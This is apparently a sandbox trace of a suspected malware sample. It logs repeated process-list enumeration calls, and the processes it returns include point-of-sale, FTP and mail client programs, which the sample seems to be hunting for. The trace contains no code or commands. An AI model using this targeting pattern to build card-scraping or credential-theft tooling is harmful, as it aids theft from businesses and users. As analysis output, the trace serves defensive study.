[0221.061] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0221.064] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0221.066] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0221.068] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0221.070] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0221.072] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0221.074] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0221.076] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0221.083] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0221.085] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0221.087] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0221.089] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0221.090] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0221.092] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.094] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0221.096] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0221.098] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0221.100] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0221.102] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0221.105] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0221.107] CloseHandle (hObject=0x11c8) returned 1 [0221.107] Sleep (dwMilliseconds=0x64) [0221.108] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0221.121] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.123] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0221.125] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0221.127] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.129] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0221.131] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.133] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0221.136] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0221.144] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0221.147] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.148] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.150] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0221.152] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.154] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.156] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.158] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.160] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.161] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.163] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.165] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0221.166] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0221.168] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0221.170] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.172] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0221.173] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0221.175] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0221.177] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0221.180] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0221.546] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0221.555] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0221.557] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.559] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0221.561] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0221.564] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0221.566] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0221.568] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0221.574] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0221.577] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0221.579] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0221.581] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0221.584] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0221.586] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0221.588] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0221.590] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0221.592] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0221.594] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0221.596] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0221.598] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0221.600] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0221.602] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0221.604] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0221.605] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0221.608] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0221.610] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0221.612] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0221.614] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0221.616] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0221.618] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0221.620] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0221.622] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0221.625] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0221.628] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0221.630] Process32Next (in: hSnapshot=0x11c8, 